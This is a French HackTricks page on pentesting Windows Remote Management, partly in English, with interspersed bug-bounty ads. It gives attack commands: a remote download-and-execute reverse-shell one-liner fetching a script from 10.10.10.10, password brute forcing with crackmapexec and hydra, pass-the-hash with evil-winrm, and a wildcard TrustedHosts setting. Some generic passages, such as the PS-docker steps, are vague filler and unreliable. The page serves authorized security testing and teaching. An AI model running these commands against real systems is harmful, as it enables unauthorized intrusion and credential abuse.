hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

22 KiB
Raw Blame History

5985,5986 - Pentesting WinRM

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !

{% embed url="https://hackenproof.com/register" %}

WinRM

Windows Remote Management (WinRM) est un protocole Microsoft qui permet la gestion à distance des machines Windows via HTTP(S) en utilisant SOAP. À l'arrière-plan, il utilise WMI, vous pouvez donc le considérer comme une API basée sur HTTP pour WMI.

Si WinRM est activé sur la machine, il est trivial d'administrer la machine à distance depuis PowerShell. En fait, vous pouvez simplement vous connecter à une session PowerShell à distance sur la machine (comme si vous utilisiez SSH !)

La manière la plus simple de détecter si WinRM est disponible est de vérifier si le port est ouvert. WinRM écoutera sur l'un des deux ports :

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Si l'un de ces ports est ouvert, WinRM est configuré et vous pouvez essayer d'entrer dans une session à distance.

Initialisation de la session WinRM.

Nous pouvons configurer PowerShell pour fonctionner avec WinRM. Selon la documentation Microsoft, Enable-PSRemoting est une cmdlet qui configure l'ordinateur pour recevoir des commandes PowerShell à distance. Si nous avons accès à une invite PowerShell élevée sur la victime, nous pouvons l'activer et ajouter tous les "attaquants" en tant qu'hôtes de confiance. Nous pouvons exécuter les deux commandes suivantes :

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Cela ajoute un joker à la configuration trustedhosts. Soyez prudent quant à ce que cela implique. Note: J'ai également dû changer le type de réseau sur ma machine d'attaque de "Public" à "Work".

Vous pouvez également activer WinRM à distance **_en utilisant _wmic:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Testez si configuré

Une fois que la machine d'attaque est configurée, utilisez la fonction Test-WSMan pour tester si la cible est configurée pour WinRM. Vous devriez voir des informations renvoyées sur la version du protocole et wsmid :

Dans ce cas, le premier est configuré et le second ne l'est pas.

Exécutez une commande

Maintenant, nous pouvons utiliser la commande Invoke-Command de PowerShell pour exécuter à distance une commande sur la cible via WinRM. Pour exécuter à distance ipconfig et voir la sortie :

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Vous pouvez également exécuter une commande de votre console PS actuelle via Invoke-Command. Supposons que vous ayez localement une fonction appelée enumeration et que vous souhaitez l'exécuter sur un ordinateur distant, vous pouvez le faire :

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

To execute a script using WinRM, you can use the Invoke-Command cmdlet. This cmdlet allows you to run commands or scripts on remote computers.

Here is the syntax to execute a script using Invoke-Command:

Invoke-Command -ComputerName <target> -ScriptBlock { <script> }

Replace <target> with the IP address or hostname of the remote computer where you want to execute the script. Replace <script> with the actual script you want to run.

For example, if you want to execute a script named myscript.ps1 on a remote computer with the IP address 192.168.0.100, you would use the following command:

Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\myscript.ps1 }

This will execute the myscript.ps1 script on the remote computer.

Note that you may need to provide appropriate credentials to authenticate with the remote computer. You can use the -Credential parameter to specify the username and password for authentication.

Invoke-Command -ComputerName <target> -Credential <username> -ScriptBlock { <script> }

Replace <username> with the username and <script> with the script you want to run.

Remember to ensure that you have the necessary permissions and authorization to execute scripts on the remote computer.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Obtenir un shell inversé

To get a reverse shell, you need to exploit a vulnerability in the target system and establish a connection back to your machine. This allows you to gain remote access and control over the target system.

Here's a step-by-step guide on how to get a reverse shell:

  1. Identify a vulnerable service or application on the target system that can be exploited to execute arbitrary commands.

  2. Use a payload or exploit that is compatible with the vulnerability you have identified. This could be a specially crafted command or script that will allow you to establish a reverse connection.

  3. Set up a listener on your machine to receive the reverse connection. This can be done using tools like Netcat or Metasploit.

  4. Execute the payload or exploit on the target system. This will trigger the vulnerability and establish a connection back to your machine.

  5. Once the reverse connection is established, you will have a shell on the target system. You can now interact with the system and execute commands remotely.

It's important to note that obtaining a reverse shell without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal authorization before attempting any penetration testing activities.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Obtenir une session PS

Ou, si vous souhaitez accéder directement à une session PowerShell interactive, utilisez la fonction Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"

Forcer l'ouverture de WinRM

Si vous voulez vraiment utiliser PS Remoting et WinRM mais que la cible n'est pas configurée pour cela, vous pouvez "forcer" son activation avec une seule commande. Je ne recommande pas cela, mais si vous voulez vraiment utiliser WinRM ou PSRemoting, vous pouvez le faire de cette manière. Par exemple, en utilisant PSExec :

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Maintenant, nous pouvons entrer dans une session PS à distance sur la victime.

Sauvegarde et restauration des sessions

Cela ne fonctionnera pas si la langue est restreinte sur l'ordinateur distant.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Dans cette session, vous pouvez charger des scripts PS en utilisant Invoke-Command.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Erreurs

Si vous rencontrez l'erreur suivante :

enter-pssession : La connexion au serveur distant 10.10.10.175 a échoué avec le message d'erreur suivant : Le client WinRM ne peut pas traiter la demande. Si le schéma d'authentification est différent de Kerberos, ou si l'ordinateur client n'est pas joint à un domaine, le transport HTTPS doit être utilisé ou la machine de destination doit être ajoutée à la configuration TrustedHosts. Utilisez winrm.cmd pour configurer TrustedHosts. Notez que les ordinateurs de la liste TrustedHosts peuvent ne pas être authentifiés. Vous pouvez obtenir plus d'informations à ce sujet en exécutant la commande suivante : winrm help config. Pour plus d'informations, consultez le sujet d'aide about_Remote_Troubleshooting.

Essayez ceci sur le client (informations provenant ici) :

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof est le lieu de tous les programmes de primes pour les bugs de cryptographie.

Obtenez une récompense sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

Connexion WinRM sous Linux

Brute Force

Attention, le brute-forcing de WinRM peut bloquer les utilisateurs.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Utilisation d'evil-winrm

Evil-winrm est un outil de pentesting qui permet d'exploiter les vulnérabilités de WinRM (Windows Remote Management) pour accéder à distance à un système Windows. Il fournit une interface en ligne de commande pour exécuter des commandes et des scripts sur un hôte distant.

Pour utiliser evil-winrm, vous devez d'abord installer Ruby et les dépendances nécessaires. Ensuite, vous pouvez exécuter la commande suivante pour installer evil-winrm :

gem install evil-winrm

Une fois installé, vous pouvez utiliser evil-winrm en spécifiant l'adresse IP ou le nom d'hôte de la machine cible, ainsi que les informations d'identification valides pour vous connecter. Par exemple :

evil-winrm -i <adresse_IP> -u <nom_utilisateur> -p <mot_de_passe>

Une fois connecté, vous pouvez exécuter des commandes sur la machine cible, télécharger ou téléverser des fichiers, et même exécuter des scripts PowerShell. Evil-winrm fournit également des fonctionnalités avancées telles que l'escalade de privilèges et l'exécution de commandes en mode furtif.

Il est important de noter que l'utilisation d'evil-winrm pour accéder à un système sans autorisation appropriée est illégale et peut entraîner des conséquences juridiques. Il est recommandé de n'utiliser cet outil que dans le cadre d'un test de pénétration autorisé et éthique.

gem install evil-winrm

Lisez la documentation sur son github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Pour utiliser evil-winrm pour se connecter à une adresse IPv6, créez une entrée dans le fichier /etc/hosts en définissant un nom de domaine pour l'adresse IPv6, puis connectez-vous à ce domaine.

Transmettre le hachage avec evil-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Utilisation d'une machine PS-docker

L'utilisation d'une machine PS-docker est une méthode pratique pour effectuer des tests de pénétration sur les services WinRM. Cette approche permet de créer un environnement isolé où vous pouvez exécuter des commandes PowerShell et tester les vulnérabilités potentielles de WinRM.

Voici les étapes pour utiliser une machine PS-docker :

  1. Installez Docker sur votre système d'exploitation.
  2. Téléchargez l'image Docker PS-docker à partir du référentiel approprié.
  3. Exécutez la commande suivante pour créer un conteneur à partir de l'image téléchargée :
docker run -it --name ps-docker ps-docker
  1. Une fois le conteneur créé, vous pouvez vous y connecter en utilisant la commande suivante :
docker exec -it ps-docker pwsh
  1. À partir de là, vous pouvez exécuter des commandes PowerShell pour tester les services WinRM.

L'utilisation d'une machine PS-docker offre l'avantage d'un environnement isolé et contrôlé pour effectuer des tests de pénétration sur les services WinRM. Cela permet de minimiser les risques de perturbation du système hôte et de faciliter la gestion des dépendances logicielles nécessaires pour les tests.

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Utilisation d'un script ruby

Code extrait d'ici : https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Références

Commandes automatiques HackTricks

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof est le lieu de tous les programmes de primes pour les bugs de cryptographie.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥